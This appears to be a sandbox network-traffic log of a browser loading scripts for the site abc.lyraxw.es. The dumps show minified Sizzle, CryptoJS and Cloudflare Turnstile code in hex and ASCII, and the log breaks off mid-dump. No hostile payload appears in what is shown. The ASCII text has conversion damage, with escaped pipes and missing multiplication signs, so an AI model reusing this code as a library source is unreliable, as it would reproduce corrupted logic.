2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:36 UTC	701	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:36 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 17 Mar 2025 22:11:36 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 921fd3b9dbb58172-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:36 UTC	688	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:36 UTC	957	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1832876 Expires: Sat, 07 Mar 2026 22:11:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FN21mC1hyBzJaggk1yfEvNWOKQgn9kNxBNB9zeRv9GUVeSan0PEYLv%2FodF9BQYz1Kfly7A0q7gyDgNpnodllrQJvPNvwEfEVgaMgZNNALIN1Ak0P9pDtPMf%2FTZrtW5dO1GoZrgId"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 921fd3b9da49424d-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 22:11:36 UTC	412	IN	Data Raw: 37 62 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf4!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.creat
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 Data Ascii: ll(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)t
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 Data Ascii: of t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f Data Ascii: r t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e Data Ascii: r(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e Data Ascii: t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fun
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 Data Ascii: rAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQR
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e Data Ascii: sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this.
2025-03-17 22:11:36 UTC	1369	IN	Data Raw: 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 Data Ascii: m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[5

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:37 UTC	685	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:37 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 921fd3be6fbf431c-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 22:11:37 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-17 22:11:37 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 